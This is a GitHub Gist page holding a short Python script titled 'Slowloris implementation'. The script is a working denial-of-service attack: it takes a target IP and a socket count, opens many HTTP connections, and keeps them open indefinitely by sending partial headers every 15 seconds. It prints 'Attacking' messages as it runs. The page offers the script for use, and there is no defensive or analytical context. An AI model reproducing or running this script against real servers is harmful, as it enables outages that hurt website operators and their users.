-
-
Save lsaruwat/1be48105adb3f9183434e256a6d06337 to your computer and use it in GitHub Desktop.
Slowloris implementation in Python.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import random | |
import time | |
import sys | |
def socketStart(ip, port=80, timeout=4): | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.settimeout(timeout) | |
s.connect((ip, port)) | |
return s | |
list_of_sockets = [] | |
regular_headers = [ | |
"User-agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0", | |
"Accept-language: en-US,en,q=0.5" | |
] | |
#get command line args 1=ip 2=number of sockets | |
ip = sys.argv[1] | |
if( len(sys.argv) > 2): #number of sockets supplied | |
socket_count = int(sys.argv[2]) | |
else: socket_count = 100 | |
print("Attacking {} with {} sockets.".format(ip, socket_count)) | |
print("Creating sockets...") | |
for i in range(socket_count): | |
try: | |
print("Creating socket {}".format(i) ) | |
s = socketStart(ip) | |
except socket.error: | |
break | |
list_of_sockets.append(s) | |
print("Setting up the sockets...") | |
for s in list_of_sockets: | |
s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8")) | |
for header in regular_headers: | |
s.send(bytes("{}\r\n".format(header).encode("utf-8"))) | |
try: | |
while True: | |
print("Sending keep-alive headers...") | |
for s in list_of_sockets: | |
keepAlive = "X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8") | |
s.send(keepAlive) | |
time.sleep(15) | |
except KeyboardInterrupt: | |
print("\nloop exited by user") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment